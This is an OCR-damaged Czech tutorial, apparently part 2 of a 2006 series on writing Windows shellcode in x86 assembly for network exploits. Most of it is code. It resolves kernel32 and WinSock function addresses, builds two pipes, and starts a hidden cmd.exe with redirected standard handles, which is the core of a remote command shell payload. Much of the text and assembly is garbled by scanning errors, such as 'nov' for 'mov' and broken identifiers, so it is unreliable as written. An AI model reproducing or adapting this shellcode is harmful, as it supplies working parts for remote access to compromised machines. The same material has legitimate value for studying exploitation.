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Exploitovani - tvorba shellkédu 2. c¢ast

Vlozil/a Juzna [1], 13 Leden, 2006 - 12:46

e Exploit [2]
e Hacking [3]
e Programming [4]

Pokracovani ¢lanku o vytvareni shellkédu v assembleru. Bude nasledovat jesté jeden dil.

Hledani dalsich funkci

Jelikoz budeme hledat vétsi mnozstvi funkci, udéldme si vlastni proceduru kterd ndm najde funkce z
urcitého seznamu a ulozi je na dalSi seznam. Bude vypadat takto: (komentare hovori za vSe)

i HHBHHHBHHH B H B H R H R H R

; Henkaj probiha hledani adres na dane funkce

; V EDX se nusi nachazet adresa funkce GetProcAddrress
i V ECX je pocet hledanych funkc

; v EBX je asi adresa zacat ku kni hovny

; v ESI pointer na nazvy fc

; v EDI je pointer na misto kam se ukladaji vysl edky

hl edej fce:
push ecx ; Schovane
push edx

push esi ; Nazev funkce
push ebx ; Adresa kni hovny
call edx ; Vol ane Get ProcAddress

pop edx ; Vratine
pop ecx
push eax ; Schovane

; Naj deme nazev dal si funkce

hl edej dalsi_fci:

| ods byte ptr [esi]

test al, al

jne hledej _dalsi_fci ; Opakujenme dokud nenajdene nul ovy znak=konec stringu

pop eax ; Vratine

stos dword ptr [edi] ; Na pozici edi uzlozinme adresu ktera byla vracena do eax
| oop hl edej _fce ; Opakujene
ret

Procedura kterd ndm najde adresy exportovanych funkci je vytvorena. Takze ji musime nachystat
potrebné Udaje a pak ji zavolat:

call after_data kernellfce ; Skok za stringy
db "LoadLi braryA", 0
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db "CreatePipe", 0

db "GetStartuplnfoA", 0
db "CreateProcessA", 0
db " PeekNanedPi pe", 0
db "d obal Alloc", O

db "WiteFile", 0

db "ReadFile", 0

db "Sleep", O

db "ExitProcess", 0O

db "Cl oseHandl e", O

after _data_kernel |l fce:

pop esi ; Veznene navratovou hodnota vol ani - adresa na nazvy fci ktere hl edane
mov edi, esi ; Navy uz potrebovat nebudene, prepisene je adresany
mov edx, eax ; Adresa GetProcAddr kterou jsme pred chvili ziskal

nov ecx, 0Bh ; Pocet hledanych fc
call hledej _fce ; H edej

Nasli jsme adresy jednotlivych funkci a ulozili jsme je na misto plvodnich ndzvi. Nazvy totiz uz
nebudeme potrebovat, kdyz zndme adresy, a uSetfime tak misto, ¢as i velikos exploitu.
Déle vime ze budeme vytvéaret exploit co pracuje se siti, takze potrfebujeme knihovnu WinSock.

push edx ; dl ozine si

call string_wsock ; U ozi na stack navratovou adresu, ale ny ji tam nechanme protoze
to bude paranetr pro dalsi funkc

db "WS0CK32", 0

string_wsock:

call dword ptr ds:[edi-44] ; ED ukazuje na konec seznanmu adres funkci, takze kdyz

odectene 44 ziskane 11. fce od zadu => LoadLi braryA. A tu zavol anme. Do eax ziskame

adresu na nactenou kni hovnu

pop edx ; Vratine

; Budene hl edat dal si adresy na funkce

call after_data w nsockfce ; Skok za stringy
db "WBAStartup", O

db "socket", 0

db "cl osesocket", 0

db "connect", O

db "send", O

db "recv", 0

aft er _dat a_wi nsockf ce:

pop esi ; Adresa na nazvy fci ktere hledane, jako drive

nov ebx, eax ; Adresa nactene kni hovny
nmov ecx, 6 ; Pocet fci
call hledej fce ; H edane fce

Vsimnéte si ze pfi druhém volani procedury hledej fce nenastavovali registr edi. Odkazuje totiz hned
za posledni nalezenou adresu funkce z kernellu. MGzeme klidné zapisovat za né.

Vytvoreni rour

Abychom mohli presmérovat prikazovou radku na néjakou IP:port, budeme potrebovat vytvorit tzv.
Pipe neboli rouru. Konkrétné budeme potrebovat tyto roury 2. Do prvni budeme zapisovat my co
dostaneme ze socketu a ¢ist z ni bude proces prikazové radky. Do druhé bude zapisovat prikazova
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rédka svQj vystup ktery z ni nadsledné pre¢teme a zasleme pres socket.

Registr edi ndm odkazuje nékam mezi ndzvy funkci které jsme hledali v kernellu. Pfed nim jsou v
paméti ulozené adresy funkci, které jsme si nasli. A jelikoz zbytek nazv{ funkci a taktéz kod ktery
nasleduje za nimi uz byl vykonan a nebude potreba byt volan znova, mizeme jej klidné prepsat a
pouzit jej tfeba jako buffer. Mohli bychom si sice vytvorit buffer kdekoliv jinde, napf. voldnim funkce
GlobalAlloc, ale pak bychom museli nékam ukladat jeho adresu a tim bychom pfisli o registr. Kdyz si
prepiSeme kéd, usetfime misto v paméti, néjaky cas, ale hlavné jeden registr ktery ndm odkazuje na
buffer.

Vzhledem k registru edi si tedy rozvrhneme pamét takto:

* Pfed edi mame adresy funkcfi

e Od edi do edi+20h si budeme ukladdat proménné které potrebujeme pro dalsi béh programu

* Od edi+20h vy$ budeme pouzivat jako buffer pro rizné Gcely

; Na [edi +20h] nachystane strukturu SECURI TY_ATTRI BUTES
mov dword ptr ds:[edi +20h], OCh ; Del ka structu

nov dword ptr ds:[edi+24h], Oh ; SecurityDescriptor

mov dword ptr ds:[edi +28h], 1h ; InheritHandle

push 0 ; Velikost bufferu -> default

| ea eax, dword ptr [edi +20h] ; |pPipeAttributes — pointer na strukturu
push eax

| ea eax, dword ptr [edi] ; WiteHandl e (out = vystupni hodnot a)

push eax

| ea eax, dword ptr [edi +4h] ; ReadHandl e (out)

push eax

call dword ptr ds:[edi-40h] ; Volani 10. funkce od zadu tzn CreatePipe

; Pro drouhou rouru je v3e stejné, akoréat nenusinme znovu vytva?et

SECURI TY_ATTRI BUTES, kteréa z?stéavéa neznPn?na. Pro ul oZeni handl ? pouZijene dal Si 2
nista v panfti

push 0 ; Velikost bufferu -> default

| ea eax, dword ptr [edi +20h]

push eax
| ea eax, dword ptr [edi +OCh] ; WiteHandl e (out)
push eax
| ea eax, dword ptr [edi +10h] ; ReadHandl e (out)
push eax

call dword ptr ds:[edi-40h] ; CreatePipe

Spusténi prikazové radky

Pro spusténi prikazové radky pouzijeme funkci CreateProcess. Pro ni ale potfebujeme parametr
Startuplinfo, ktery ziskdme funkci GetStartupInfoA. Spousténa aplikace bude mit tato data stejnd,
pouze upravime nékteré parametry. Zaroven spousténému procesu prifadime roury.

| ea eax, dword ptr [edi+20h]

nov dword ptr ds:[eax], 44h ; Velikost struktury
push eax

call dword ptr ds:[edi-3Ch] ; GCetStartuplnfoA

; Nastavine Startuplnfo

nov eax, dword ptr [edi] ; WiteHandl e na prvni rouru

nov dword ptr [edi +5Ch], eax ; StdCut handle - nastavinme vystup na prvni rouru
nmov dword ptr [edi +60h], eax ; Error handl e

nov eax, dword ptr [edi +10h] ; ReadHandl e na druhou rouru

nov dword ptr [edi +58h], eax ; Stdln handl e (na druhou rouru)
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nov dword ptr [edi +4Ch], 181h ; Fl ags: ShowwW ndow + UseStdHandl es + ForceO f Feedback
mov word ptr [edi +50h], O ; ShowW ndow: hide

Wt vorime proces prikazove radky
| ea eax, dword ptr [edi+70h] ; ProcesslInfornmation (out)
push eax
| ea eax, dword ptr [edi +20h] ; Startuplnfo
push eax
xor eax, eax ; Pushnene nuly
push eax ; CurrentDirectory: default
push eax ; Environnent: default
push eax ; CreationFl ags: default
push 1 ; InheritHandles: true
push eax ; ThreadAttributes: default
push eax ; ProcessAttributes: default
call string_cnd ; Tinto trikemop?t pushnene string
db "cnd. exe", O
string_cnd:
push eax ; FileNane: -
call dword ptr ds:[edi-38h] ; CreateProcessA

Zde by nebylo na Skodu si opét pridat breakpoint a zkusit si progrdmek debuggnout, zda ndm
spravné spusti prikazovou radku. To zjistime podle ndvratové hodnoty ulozené v eax, ktera je
nenulova pfi Gspésném provedené funkce. Ovérit si funkénost midzeme také pres Task manager ve
kterém by se méla nové objevit spusténa prikazova radka.
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